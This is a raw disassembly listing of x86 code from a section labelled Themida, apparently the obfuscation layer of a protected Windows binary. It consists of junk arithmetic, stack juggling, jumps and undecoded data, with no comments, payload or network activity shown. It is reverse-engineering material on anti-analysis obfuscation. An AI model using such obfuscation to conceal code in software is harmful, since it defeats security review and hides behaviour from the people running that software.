jmp loc_539A2C
; ---------------------------------------------------------------------------
db 81h, 0EAh, 74h
dd 8158C706h, 9E62F2h, 289DE9FDh, 58540000h, 570E9h, 0E95D5A00h
dd 0FFFFD609h, 0F24248Bh, 9C51C8AFh, 69CBE9h, 31EF8100h
dd 2925F664h, 31C781D7h, 8B25F664h, 0C4812414h, 4, 0E908E7C1h
dd 21C7h, 67D6E95Dh
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5384EA: ; CODE XREF: Themida_:0053B8D5j
mov [esp], ebp
mov ebp, 1C1152F9h
shr ebp, 5
shl ebp, 4
sub ebp, 33767CF5h
shl ebp, 1
xor ebp, 0B72458F6h
jmp loc_5419E4
; ---------------------------------------------------------------------------
db 5Eh
dd offset dword_511C48+1A1h
dd 2B900h, 0CE010000h, 81240C8Bh, 4C4h, 0CDE95600h, 81FFFFE6h
dd 0EAE012F2h, 0F4ACE901h, 61BFFFFFh, 8156B06Dh, 151D0CEFh
dd 0CFE78139h, 4F087F70h, 0C104EFC1h, 0EF8106E7h, 206D40FEh
dd 8A20E9h, 3E2C100h, 58BEE9h, 0BA525A00h, 52806423h, 0A4CC281h
dd 63E945DEh, 6600003Ch, 81240C8Bh, 4ECh, 0F13FE900h, 48BFFFFh
dd 4C48124h, 0C0000000h, 0C4E908EAh
db 0EFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_53858F: ; CODE XREF: Themida_:0053EC0Ej
pop edi
mov edx, ebx
pop ebx
xor edx, eax
mov eax, [esp]
add esp, 4
push esi
mov esi, 1EA84024h
xor edx, esi
pop esi
sub edx, 17676960h
push edx
jmp loc_53605B
; ---------------------------------------------------------------------------
dd 2D58C689h, 1126120Dh, 0D05F001h, 5E112612h, 5C240487h
dd 24048B66h, 5D4268h, 241C8900h, 5551E389h, 362BBB53h
dd 814B55FBh, 867D8CE3h, 0A41E958h, 3C8B0000h, 4C48324h
dd 8B24048Fh, 0BCE92424h, 55FFFFF8h, 4DDAE9h, 0E9505100h
dd 920Ch, 4EC81h, 1C890000h, 808FB724h, 0EC83DEE7h, 29AAE902h
dd 1C870000h, 0C895C24h, 51E95E24h, 68FFFFF6h, 53ECh, 6D5E9h
dd 7FE95600h
db 58h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_538637: ; CODE XREF: Themida_:00536DA9j
mov ebx, [esp]
push ebx
jmp loc_539401
; ---------------------------------------------------------------------------
dd 2485B850h, 0E9486CA9h, 44F8h
; ---------------------------------------------------------------------------
loc_53864C: ; CODE XREF: Themida_:00539022j
push dword ptr [esp]
jmp loc_539F7E
; ---------------------------------------------------------------------------
dd 325DE381h, 81432B60h, 0BF6E15F3h, 7973E959h, 8F5E0000h
dd 895C2404h, 9DBA2414h, 684C5120h, 6A7Dh, 0FFF1F6E9h
dd 80A3B5FFh, 0C5801FF5h, 14F580DAh, 0C059EB30h, 0EBC003E3h
dd 0B3B05006h, 3B2CC8FEh, 0C300912Ch, 4EC8158h, 89000000h
dd 0E952240Ch, 4E3Eh, 4240481h, 0E9000000h, 0BAAh, 2474FF57h
dd 1D58E904h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5386C2: ; CODE XREF: Themida_:0053D17Bj
xor esi, [esp]
xor [esp], esi
xor esi, [esp]
mov esp, [esp]
push eax
mov eax, esp
jmp loc_535D3E
; ---------------------------------------------------------------------------
dw 0DC88h
dd 93E9E188h, 5BFFFFE1h, 0B60FC330h, 8734FFC0h, 0FFD3D4E9h
dd 82B252FFh, 51A9E280h, 0E980A7B1h, 105AE9E5h, 0C8000000h
dd 93F9E9h, 1AD2D00h, 0C3298409h, 0D994E958h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_538712: ; CODE XREF: Themida_:00535E2Cj
add ecx, 25F42F8Dh
mov esi, [esp]
add esp, 4
jmp loc_536292
; ---------------------------------------------------------------------------
dw 0BE56h
dd 4, 875EF701h, 248B243Ch, 0D62EE924h, 3A05FFFFh, 106EA31h
dd 92BB53F8h, 817A8B53h, 783D68C3h, 9DE3816Fh, 8165F248h
dd 73405CBh, 3BB6E923h, 48F0000h, 7CE95C24h, 87000094h
dd 55C2434h, 15120F1Ah, 0BD55D801h, 0DDC65FDh, 28D4E581h
dd 0EDC132C2h, 0E9D5F707h, 4EF7h
; ---------------------------------------------------------------------------
loc_538788: ; CODE XREF: Themida_:00540746j
jnz loc_5380C8
push eax
mov eax, 2B56521Bh
neg eax
push edi
mov edi, 0F447E1h
dec edi
dec edi
not edi
xor edi, 2BA215E5h
sub eax, edi
jmp loc_53B984
; ---------------------------------------------------------------------------
db 53h, 0BBh, 45h
dd 0E939D608h, 2006h, 54F65066h, 8B660124h, 0C4812404h
dd 2, 5349F480h, 8851E788h, 59EA88FDh, 83241C8Bh, 48B04C4h
dd 4C48124h, 4000000h, 495CE97Bh, 0C2810000h, 4, 8704EA83h
dd 0D8E92414h, 5A00006Eh, 8B24048Fh, 0CD22424h, 0B6E99C24h
dd 81FFFFD2h, 0FFFFFFC2h, 6AEA81FFh, 1911824h, 24148BD0h
dd 5EC9E9h, 50E68900h, 494D94B8h, 0F405402Ah, 0C146E776h
dd 0E8C105E8h, 67A20504h, 0C601FFC7h, 0A7BB5358h, 816DD231h
dd 0EE2874C3h, 4E3C155h, 0FFF3C3E9h, 0D26BE9FFh, 0EB81FFFFh
dd 7A3F12B6h, 76BEBD55h, 0EB297F03h, 6412E9h, 0C8B6600h
dd 39D0E924h, 0E95A0000h, 6289h
; ---------------------------------------------------------------------------
loc_538878: ; CODE XREF: Themida_:0053E53Aj
mov ebp, 24DB74D3h
neg ebp
jmp loc_54113C
; ---------------------------------------------------------------------------
dd 0B9240C89h, 50914D06h, 0E93EE981h, 0CF8967BAh, 83240C8Bh
dd 68E904C4h
db 86h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_53889F: ; CODE XREF: Themida_:00538BF9j
pop eax
sub esp, 4
mov [esp], ebx
sub esp, 4
mov [esp], esp
add dword ptr [esp], 4
pop ebx
add ebx, 4
push ebp
mov ebp, 4
add ebx, 5C87B74h
add ebx, 2F393A01h
add ebx, ebp
jmp loc_5423C3
; ---------------------------------------------------------------------------
dw 0C483h
dd 26E95004h, 0B800000Dh, 4, 322DE9h
db 0
; ---------------------------------------------------------------------------
loc_5388E9: ; CODE XREF: Themida_:0053ECB4j
pop eax
jmp loc_540733
; ---------------------------------------------------------------------------
loc_5388EF: ; CODE XREF: Themida_:0053B959j
jmp loc_535AC1
; ---------------------------------------------------------------------------
loc_5388F4: ; CODE XREF: Themida_:0053AA67j
pop esi
jmp loc_54228E
; ---------------------------------------------------------------------------
dw 487h
dd 14895C24h, 56E28924h, 3A4F4FBEh, 0BD554668h, 9650A35h
dd 4EC81h, 90E90000h, 89FFFFF8h, 6CE92404h
db 43h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_538923: ; CODE XREF: Themida_:0053CD1Cj
neg edx
push ecx
jmp loc_53D024
; ---------------------------------------------------------------------------
db 5Eh
dd 4C481h, 8AE90000h, 68FFFFD1h, 512Fh, 54241C89h, 1497E9h
dd 2434FF00h, 7E6FE95Ah, 2C890000h, 0F3685624h, 5E55245Eh
dd 4178EE81h, 0C68106E5h, 0B1C0E287h, 815EF589h, 0E949C0EFh
dd 81EF0162h, 0E949C0C7h, 70C7E962h, 555E0000h, 85629BBDh
dd 6E89E903h, 53AC0000h, 0D80079B3h, 0FFF483E9h, 0F6F280FFh
dd 34FFD030h, 54525A24h, 46BE565Ah, 81285871h, 9114BBEEh
dd 70F68156h, 812C0D2Eh, 0CA72FFF6h, 0E9F201FDh, 0FFFFE095h
dd 0E940478Fh, 0FFFFD0FDh, 0E9C3305Ch, 4516h, 5224048Bh
dd 0C281E289h, 4, 5204C283h, 42474FFh, 0E924148Bh, 43Fh
; ---------------------------------------------------------------------------
loc_5389E8: ; CODE XREF: Themida_:0053DB4Cj
mov ebx, [esp]
push esi
mov esi, esp
jmp loc_53A4AE
; ---------------------------------------------------------------------------
db 81h
dd 0BE2D71C2h, 0BFEB8156h, 105D71Bh, 35BA52D3h, 0E9459E7Eh
dd 744Eh, 0E9241487h, 2875h, 0C581D501h, 28C62C74h, 346BE9h
dd 40500h, 2050000h, 0E9000000h, 1B78h, 0BF5E950h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_538A36: ; CODE XREF: Themida_:00541E25j
pop ecx
push ebx
jmp loc_540642
; ---------------------------------------------------------------------------
db 5Ah, 80h, 0F1h
dd 59C8000Ch, 0E9516704h, 1A17h, 240C875Ch, 24248Bh, 0E99C2404h
dd 7A78h, 0C1880D34h, 3715E9h, 5D545500h, 1893E9h, 240C8900h
dd 0FFD9F1E9h, 30E781FFh, 680F3333h, 0
dd 5F243C29h, 0C16BA52h, 0DAF75D71h, 0AAE28142h, 0E94D0A04h
dd 1BD0h, 0E924048Bh, 75EEh, 5C243487h, 8B24048Fh, 0F662424h
dd 9C2404BBh, 0FFD00CE9h, 0BAF380FFh, 8626E9h, 24348900h
dd 0FFF7E6E9h, 3A60B9FFh, 0D1F76ABCh, 5496E181h, 0C1814B37h
dd 39980EFEh, 5159CF31h, 0FFFFFFB9h, 59CF01FFh, 0C102EFC1h
dd 0C78106EFh, 0FFC59AB1h, 685FFA01h, 717Ch, 0FF241489h
dd 0E9042474h, 135Fh, 0C383C5BAh, 5FFA01BBh, 34FFD701h
dd 0E9565A24h, 4C33h, 0C3296659h, 48E95866h, 0FF00006Ch
dd 669D1C77h, 14D36659h, 4E99C24h, 6800008Bh, 817h, 0B8240489h
dd 2B893B8Eh, 29CCE405h, 0EC11E937h, 0ED81FFFFh, 0D9D0403h
dd 3568515Fh, 0E947DF53h, 2D8Ch
; ---------------------------------------------------------------------------
loc_538B5C: ; CODE XREF: Themida_:005377CEj
push ecx
sub esp, 4
jmp loc_53AEE4
; ---------------------------------------------------------------------------
loc_538B65: ; CODE XREF: Themida_:00537D5Bj
push dword ptr [edi+eax*4]
jmp loc_538BF6
; ---------------------------------------------------------------------------
db 81h, 0C7h, 4
dd 87000000h, 815C243Ch, 241B4AF6h, 1411687Fh, 14890000h
dd 6FCBBA24h, 0F2814E04h, 2B0274Ch, 0E464EA81h, 0D629EA10h
dd 8090E9h, 81D18700h, 342E70C9h, 0C7F1817Ch, 89DB888Dh
dd 68E959CFh, 50000063h, 350811B8h, 2423353Dh, 7FE95010h
dd 0B4000097h, 7A58E93Ch, 48B0000h, 5E545624h, 8904EC83h
dd 0C6BB241Ch, 435B8F3Bh, 368EEB81h, 0EBC159C5h, 23F38108h
dd 814C040Eh, 0F17862C3h, 60DE955h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_538BF6: ; CODE XREF: Themida_:00538B68j
push dword ptr [esp]
jmp loc_53889F
; ---------------------------------------------------------------------------
aSJ db ']éÊJ',0
align 4
loc_538C04: ; CODE XREF: Themida_:0053F05Aj
shr ecx, 7
push dword ptr [edi+1Ch]
push dword ptr [esp]
mov eax, [esp]
push 6AB2h
mov [esp], ecx
jmp loc_540F2C
; ---------------------------------------------------------------------------
db 54h, 8Bh, 0Ch
dd 4C48124h, 83000000h, 348904ECh, 4B95124h, 89000000h
dd 0E98159CEh, 28183060h, 0C181F101h, 28183060h, 4BD555Eh
dd 1000000h, 44E4E9E9h, 0EB010000h, 241C875Dh, 36F6E9h
db 0
; ---------------------------------------------------------------------------
loc_538C5D: ; CODE XREF: Themida_:005393A1j
push 3C32h
mov [esp], edx
push eax
mov eax, 477E3F29h
push ebx
jmp loc_540BC6
; ---------------------------------------------------------------------------
db 54h, 8Bh, 4
aQisse db '$Q䇎e',0
align 4
dd 48F5900h, 24248B24h, 240C8B66h, 7A7B68h, 241C8900h
dd 5EC6E9h
db 0
; ---------------------------------------------------------------------------
loc_538C95: ; CODE XREF: Themida_:0053CCE0j
or bl, 80h
neg bl
sub bl, 0BDh
jmp loc_540E2D
; ---------------------------------------------------------------------------
dw 0C3FEh
dd 88F1EB80h, 0F58BE9DEh, 30FFFFFFh, 0FFCE0CE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_538CB5: ; CODE XREF: Themida_:005393E8j
mov eax, 0FA0E764h
sub ebp, 288354B8h
sub ebp, eax
add ebp, 288354B8h
pop eax
jmp loc_5412F2
; ---------------------------------------------------------------------------
aMqCa db '¬Q±c€Á',7,0
aY db 'ÈY',0
aQJsi db 'ØQµjé©=',0
align 2
dw 0B850h
dd 4, 8158C101h, 4C1h, 19FDE900h, 0FDB60000h, 1F366853h
dd 0C890000h, 78FDE924h, 0C890000h, 45D6E924h, 0C4810000h
dd 4, 8B24048Fh, 4892424h, 0CD9FE924h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_538D22: ; CODE XREF: Themida_:0053E7ECj
mov ebp, 77AB5418h
jmp loc_541B05
; ---------------------------------------------------------------------------
loc_538D2C: ; CODE XREF: Themida_:0053F7E2j
sub edi, ecx
pop ecx
jmp loc_5369A2
; ---------------------------------------------------------------------------
loc_538D34: ; CODE XREF: Themida_:0054091Bj
push dword ptr [esp]
pop ebp
add esp, 4
or eax, eax
jz loc_53C3DD
push edx
jmp loc_53DD94
; ---------------------------------------------------------------------------
loc_538D4C: ; CODE XREF: Themida_:0053CBDEj
add ecx, 4B7240AFh
add ecx, esi
sub ecx, 4B7240AFh
pop esi
add ecx, 4
xchg ecx, [esp]
pop esp
push 6007h
mov [esp], ecx
mov ecx, esp
add ecx, 4
add ecx, 4
jmp loc_53F944
; ---------------------------------------------------------------------------
db 81h, 0EBh, 78h
dd 8159152Dh, 252169EBh, 81C30120h, 252169C3h, 78C38120h
dd 5859152Dh, 4EC81h, 0C890000h, 37AEB924h, 0E9495D53h
dd 4D49h
; ---------------------------------------------------------------------------
loc_538DAC: ; CODE XREF: Themida_:0053C867j
mov [esp], ebx
mov bl, 1Dh
push eax
mov ah, 71h
inc ah
jmp loc_540CAD
; ---------------------------------------------------------------------------
db 66h
dd 81240C8Bh, 4ECh, 24048900h, 0BE56E089h, 3D632ED8h, 4FB4C681h
dd 0D6F752F0h, 1A43E681h, 0E6C1684Dh, 7CBB5307h, 29060021h
dd 241C8BDEh, 104C483h, 0BB535EF0h, 2, 436D382Dh, 5D80132h
dd 32436D38h, 517EE9h
db 0
; ---------------------------------------------------------------------------
loc_538E09: ; CODE XREF: Themida_:0053A641j
pop edx
add ecx, edi
push 0F88h
mov [esp], eax
mov eax, 0
jmp loc_536B64
; ---------------------------------------------------------------------------
dw 48Fh
dd 0F5E95524h, 81000073h, 4ECh, 24348900h, 0E952E689h
dd 411Ah, 971713BDh, 60C3813Bh, 50066A37h, 3492E9h
db 0
; ---------------------------------------------------------------------------
loc_538E49: ; CODE XREF: Themida_:0053A4B7j
xchg esi, [esp]
pop esp
push edx
push ecx
push 183D1E57h
pop ecx
not ecx
add ecx, 82276BBCh
mov edx, ecx
pop ecx
add edx, 1
add edx, 5A294A2Ch
jmp loc_53E318
; ---------------------------------------------------------------------------
db 1, 0D7h, 0E9h
dd 8974h, 882AB652h, 35E95AF1h, 51000071h, 511CE9h, 5585400h
dd 4, 0AA4B951h, 12E96393h, 54000080h, 4C5815Dh, 83000000h
dd 0F4E904C5h, 0FF00004Bh, 2E92434h, 1000038h, 0EC812404h
dd 4, 0BA241489h, 121914EBh, 8F25E9h, 5AD52900h, 576E95Eh
dd 1590000h, 0D1EE81C6h, 52548C73h, 8904EC83h, 0F1B82404h
dd 0BA2D7A35h, 9E2F4F7Dh, 8158C229h, 0C117B3C2h, 25EA8166h
dd 53007D73h, 2A79B9BBh, 5BDA2127h, 477CC281h, 50E94AAAh
dd 66000067h, 0E9241C89h, 86FEh
; ---------------------------------------------------------------------------
loc_538F18: ; CODE XREF: Themida_:00540F1Dj
sub edi, 2AC51121h
or ebp, edi
mov edi, [esp]
add esp, 4
add ebp, 320090Dh
mov ebx, ebp
push dword ptr [esp]
pop ebp
add esp, 4
and ecx, ebx
pop ebx
shr ecx, 2
push 13E3h
mov [esp], ebx
push esi
mov esi, 3AFC5236h
add [esp+4], esi
jmp loc_53E7B6
; ---------------------------------------------------------------------------
dd 0D8001FB3h, 241C8B66h, 0D8AE9h
db 0
; ---------------------------------------------------------------------------
loc_538F65: ; CODE XREF: Themida_:005390C3j
inc ecx
push ebp
mov ebp, 0E1E5A2Bh
jmp loc_53DE7A
; ---------------------------------------------------------------------------
db 80h, 0C2h, 0A5h
dd 285AD000h, 2CA52CD8h, 0D219E9ADh, 23BFFFFFh, 2978FD14h
dd 0E904247Ch, 253Eh
; ---------------------------------------------------------------------------
loc_538F90: ; CODE XREF: Themida_:00539952j
pop eax
push edi
mov edi, esp
add edi, 4
sub edi, 4
xchg edi, [esp]
jmp loc_53C502
; ---------------------------------------------------------------------------
loc_538FA8: ; CODE XREF: Themida_:0053EAB4j
pop ebp
neg edi
dec edi
add edi, 0E818CC7Bh
or ecx, edi
mov edi, [esp]
add esp, 4
and ecx, 318013C7h
push ebx
push edi
mov edi, 0FFFFFFFFh
mov ebx, edi
pop edi
sub ecx, ebx
mov ebx, [esp]
jmp loc_541791
; ---------------------------------------------------------------------------
loc_538FD4: ; CODE XREF: Themida_:005401A5j
push dword ptr [edi+24h]
push edx
push 0FFFFFFFFh
jmp loc_53F51D
; ---------------------------------------------------------------------------
dw 0DAF7h
dd 0E281DAF7h, 76407AD4h, 3EDFBB53h, 0EBC17FE4h, 82E95304h
db 60h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_538FFB: ; CODE XREF: Themida_:0053D33Ej
shl ecx, 5
sub ecx, 0C1E88757h
push 0
sub [esp], ecx
pop ecx
xor ecx, 0D07EE6F7h
push ecx
add dword ptr [esp], 6912524Ch
pop ebp
sub ebp, 6912524Ch
jmp loc_53864C
; ---------------------------------------------------------------------------
db 0C1h
dd 0D3F702EBh, 77D7F381h, 2BE9E185h, 8000005Eh, 0E600C8F4h
dd 5AF03058h, 6852C330h, 28h, 3EE9555Ah, 0C0000017h, 0BCE907E2h
dd 5D000004h, 2C281h, 14870000h, 24248B24h, 0FFD220E9h
dd 0C8B66FFh, 1B16E924h, 8EBB0000h, 5356FF73h, 0E92414F7h
dd 48DDh
; ---------------------------------------------------------------------------
loc_539080: ; CODE XREF: Themida_:005364A8j
pop ecx
jmp loc_5421D5
; ---------------------------------------------------------------------------
dw 0E789h
dd 0FFD466E9h, 241489FFh, 0FFE0B3E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_539095: ; CODE XREF: Themida_:0053C465j
add eax, 739241A0h
pop edi
xchg eax, [esp]
pop esp
mov [esp], edi
mov edi, 4
jmp loc_53F8DD
; ---------------------------------------------------------------------------
dd 8058C328h, 0EB800DEBh, 0C0B60FC6h, 0FFD140E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_5390BD: ; CODE XREF: Themida_:0053CC1Bj
push ecx
mov ecx, 7949497Fh
jmp loc_538F65
; ---------------------------------------------------------------------------
dd 7340F181h, 0CB896D3Ch, 245C0159h, 0E6E95B04h, 0B7FFFFC9h
dd 5BF82887h, 8704C828h, 240C8B66h, 3534E952h, 1C8B0000h
dd 83ADE924h, 52660000h, 0FFF254E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_5390FD: ; CODE XREF: Themida_:00540CDDj
add esi, 4
add esi, 4
xchg esi, [esp]
pop esp
jmp loc_53E4E8
; ---------------------------------------------------------------------------
dw 0EC83h
dd 0EFA1E904h, 0EE81FFFFh, 0CEB4B869h, 2046E9h, 4C28100h
dd 0E9000000h, 438Bh
; ---------------------------------------------------------------------------
loc_539130: ; CODE XREF: Themida_:0053FB10j
shr ecx, 0Ah
sub esp, 4
mov [esp], esi
push esi
mov esi, esp
add esi, 4
sub esi, 4
xchg esi, [esp]
mov esp, [esp]
mov [esp], ecx
jmp loc_53D343
; ---------------------------------------------------------------------------
dw 0C483h
dd 4EC8104h, 0E9000000h, 11F9h, 0C581DDF7h, 6FF622DAh
dd 0D8C5814Dh, 31407153h, 0C2015DE8h, 24148758h, 0B30F665Ch
dd 0E99C2404h, 0FFFFC939h
; ---------------------------------------------------------------------------
loc_539188: ; CODE XREF: Themida_:00541292j
shl edx, 1
push 6B80h
mov [esp], ecx
push edx
push 23C3050Ah
jmp loc_53A4BC
; ---------------------------------------------------------------------------
loc_53919D: ; CODE XREF: Themida_:005410DEj
add ecx, eax
pop eax
jmp loc_53F5AA
; ---------------------------------------------------------------------------
db 89h, 0EEh, 5Dh
dd 685EF501h, 123Eh, 0FF242C89h, 5D042474h, 0E924048Fh
dd 877Bh, 0F06D6E25h, 0F49354Fh, 0C6311856h, 64E68158h
dd 0E94CF032h, 0FFFFD994h, 96968h, 243C8900h, 0DD3418BFh
dd 0BB53566Ah, 23B33CD7h, 3BB8E381h, 0EB810ECCh, 72FD08E9h
dd 0FFF457E9h, 0E0E954FFh, 81FFFFDDh, 0F73C84EBh, 45F2E9A1h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_53920E: ; CODE XREF: Themida_:00540797j
sub [esp], al
pushf
jmp loc_535AC1
; ---------------------------------------------------------------------------
db 0C1h
dd 0E78104E7h, 6AB42A10h, 14F781h, 9EE90A24h, 8100003Bh
dd 8831C9E5h, 14F75524h, 0E5C15D24h, 7EDC106h, 0A43FED81h
dd 0EF89F7D4h, 96BE565Dh, 16C3821h, 0CF815EF7h, 19BA2C5Ch
dd 297B951h, 0F7494A4Ch, 5469E9D1h, 0E95E0000h, 7418h
; ---------------------------------------------------------------------------
loc_539268: ; CODE XREF: Themida_:0053EBB4j
push edx
mov edx, 783F23BAh
xor ecx, edx
pop edx
push esi
mov esi, 3A822E0Fh
xor ecx, esi
push dword ptr [esp]
pop esi
add esp, 4
mov ebx, ecx
push dword ptr [esp]
pop ecx
jmp loc_541806
; ---------------------------------------------------------------------------
loc_53928E: ; CODE XREF: Themida_:0053F28Bj
pop ebx
pop eax
push dword ptr [esp]
pop ecx
jmp loc_53DA3B
; ---------------------------------------------------------------------------
db 0BEh, 4, 0
dd 10E90000h, 0C0000018h, 0C38004E3h, 5BD80034h, 0FFDB62E9h
dd 243C89FFh, 42474FFh, 24048F5Fh, 0FFC800E9h, 81DEF7FFh
dd 52ADE1F6h, 5EF38999h, 0BBFE381h, 0EBC137B0h, 5E3C105h
dd 0D102E3C1h, 4EC83E3h, 0BD242C89h, 49315001h, 0EDC1DDF7h
dd 7CE58105h, 0C106D063h, 0ED8106E5h, 5B365C70h, 788AEB81h
dd 91E955BEh, 0ADFFFFF0h, 5451D831h, 0FFD122E9h, 246C01FFh
dd 2434FF04h, 4C4835Dh, 4BD5559h, 1000000h, 242C8BE9h
dd 5604C483h, 2BEh, 5EF10100h, 0E9240C87h, 3BB4h, 24148966h
dd 0E99C5066h, 5B57h
; ---------------------------------------------------------------------------
loc_539348: ; CODE XREF: Themida_:0053AE20j
push ebp
push dword ptr [esp+4]
pop ebp
pop dword ptr [esp]
mov esp, [esp]
jmp loc_53C81B
; ---------------------------------------------------------------------------
db 51h, 89h, 0E1h
dd 4C181h, 0C1830000h, 0D705E904h, 3489FFFFh, 87E95424h
dd 8BFFFFDEh, 34FF2424h, 2434FF24h, 8124048Bh, 4C4h, 0E6895600h
dd 4C681h, 0C7E90000h
db 0C7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_539393: ; CODE XREF: Themida_:00539AEFj
sub esi, ebp
pop ebp
xor eax, esi
pop esi
push 0DF3h
mov [esp], ecx
jmp loc_538C5D
; ---------------------------------------------------------------------------
loc_5393A6: ; CODE XREF: Themida_:0053D009j
mov eax, [esp]
push 5B57h
mov [esp], eax
jmp loc_54192E
; ---------------------------------------------------------------------------
loc_5393B6: ; CODE XREF: Themida_:00541035j
and edx, esi
pop esi
jmp loc_536867
; ---------------------------------------------------------------------------
dw 0C7FEh
dd 0C780C7FEh, 0E976B661h, 1AFDh, 4BA52h, 0D0010000h, 2404875Ah
dd 3709685Ch, 1C890000h, 0EE26E924h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5393E6: ; CODE XREF: Themida_:0053DCE3j
pop esi
push eax
jmp loc_538CB5
; ---------------------------------------------------------------------------
db 55h, 0BDh, 3Bh
dd 57430805h, 0CC0EA6BFh, 5FFD2908h, 0FFFD63E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_539401: ; CODE XREF: Themida_:0053863Bj
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp]
pop esp
jmp loc_539722
; ---------------------------------------------------------------------------
dd 4BFh, 0D82FE900h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_539422: ; CODE XREF: Themida_:0053E653j
and ecx, ebp
pop ebp
xor ecx, 16590ED0h
or edx, ecx
pop ecx
jmp loc_53DDB4
; ---------------------------------------------------------------------------
db 54h
dd 4EC815Eh, 89000000h, 4BA2414h, 0E9000000h, 4D9Ch, 8B242C87h
dd 8B662424h, 56502404h, 0C681E689h, 4, 4EE81h, 34870000h
dd 24895C24h, 24048324h, 51575804h, 7FE0BB53h, 0EBC164B7h
dd 0D8E38102h, 81550174h, 612A14F3h, 5BD98923h, 0C159CF89h
dd 0E78107E7h, 2D1D47E0h, 0BA04C781h, 0F801DFE2h, 0D40BE95Fh
dd 8952FFFFh, 4C281E2h, 81000000h, 4C2h, 24148700h, 5E54565Ch
dd 4BDB68h, 242C8900h, 0F638FBBDh, 79F5810Eh, 0C10E945Ch
dd 0D5F706EDh, 8997C581h, 0DEE90001h, 1000003h, 14875EF2h
dd 8E6BE924h, 0B7530000h, 5BFC283Eh, 8058E100h, 5066CDC9h
dd 4AE990B4h, 29FFFFE8h, 5904244Ch, 0E9240401h, 6C07h
dd 79B75351h, 93E977B1h, 80FFFFDEh, 0D48894EAh, 0CDC6805Ah
dd 4357E9h
db 0
; ---------------------------------------------------------------------------
loc_539521: ; CODE XREF: Themida_:0054067Bj
pop ebp
not ecx
push ebp
mov ebp, 6D2E0D3Dh
sub ebp, 6B164742h
or ebp, 1477626Ah
or ebp, 59D21467h
add ebp, 2F2F116Ah
jmp loc_53D4A3
; ---------------------------------------------------------------------------
db 5Ah
dd 0E904C483h, 423Fh, 582434FFh, 0F941E955h, 0E2C1FFFFh
dd 5AE95008h, 2CFFFFC8h, 0EC815BA6h, 2, 24148966h, 6AE96AB2h
db 4Fh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_539577: ; CODE XREF: Themida_:0053F6C6j
xchg eax, [esp]
pop esp
mov [esp], ebx
mov ebx, esp
add ebx, 4
jmp loc_53DC5E
; ---------------------------------------------------------------------------
db 83h
dd 3C8704C7h, 6F215C24h, 242C8B1Ch, 4E3468h, 24348900h
dd 0C681E689h, 4, 4C681h, 34870000h, 24248B24h, 0FFC508E9h
dd 895256FFh, 4C281E2h, 83000000h, 0CEE904EAh, 8100006Eh
dd 0CC2CACEFh, 0FFF831F8h, 685F2434h, 3E5Bh, 61C0E9h, 50D7F600h
dd 8850FC88h, 58E788ECh, 79E9E588h
db 34h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_5395F3: ; CODE XREF: Themida_:0053F5FDj
shr eax, 8
xor eax, ecx
push eax
not dword ptr [esp]
push dword ptr [esp]
pop eax
jmp loc_53E9F4
; ---------------------------------------------------------------------------
db 89h, 0E0h, 57h
dd 1A35BE56h, 0D9E91E4Fh
db 64h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_539613: ; CODE XREF: Themida_:0053F535j
add dword ptr [esp+4], 6F7770FEh
push ebp
mov ebp, 64671B1Dh
add [esp+8], ebp
pop ebp
jmp loc_53C3C2
; ---------------------------------------------------------------------------
db 5Fh
dd 0E904EC83h, 0F45h
; ---------------------------------------------------------------------------
loc_539634: ; CODE XREF: Themida_:0053E7FFj
xor eax, ecx
jmp loc_53DA79
; ---------------------------------------------------------------------------
loc_53963B: ; CODE XREF: Themida_:00541675j
mov ecx, 5DAB714Dh
mov eax, 0E9C4D283h
jmp loc_53C5C0
; ---------------------------------------------------------------------------
dw 0F828h
dd 0FFD418E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_539651: ; CODE XREF: Themida_:00536B5Fj
pop ecx
add edx, eax
mov eax, [esp]
add esp, 4
jmp loc_537795
; ---------------------------------------------------------------------------
loc_53965F: ; CODE XREF: Themida_:0053DE4Bj
sub esi, 0BEA7490Bh
xor ebp, esi
pop esi
and ecx, ebp
jmp loc_53F567
; ---------------------------------------------------------------------------
db 24h
dd 0E433E94Eh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_539676: ; CODE XREF: Themida_:0053C9DBj
push edi
jmp loc_541BF2
; ---------------------------------------------------------------------------
loc_53967C: ; CODE XREF: Themida_:0053F8E0j
push eax
jmp loc_53D54F
; ---------------------------------------------------------------------------
dw 0F66h
dd 6866CCB6h, 896633C7h, 0F0E9240Ch
db 1Fh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_539693: ; CODE XREF: Themida_:0053A8D5j
pop ecx
or edx, 5E0D278Ah
neg edx
jmp loc_53E717
; ---------------------------------------------------------------------------
aZSgj db 'Z]éG†',0
align 4
dd 103D101h, 0F6685A59h, 8900002Ch, 0A2E92404h, 31FFFFD3h
dd 0F7815DEFh, 2F80DD93h, 815FFA01h, 4ECh, 242C8900h, 4699E9h
dd 24148B00h, 4C481h, 0D0010000h, 2404875Ah, 0E924248Bh
dd 381Dh, 0B31AF92Dh, 8827E924h, 51500000h, 0FFDBC4E9h
dd 2434FFFFh, 0E92434FFh, 0FFFFCFE8h, 80EDE95Fh, 1C8B0000h
dd 4C48124h, 28000000h, 82C180F9h, 493DE95Bh
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_539722: ; CODE XREF: Themida_:00539413j
push edx
mov edx, esp
push eax
jmp loc_53A0BF
; ---------------------------------------------------------------------------
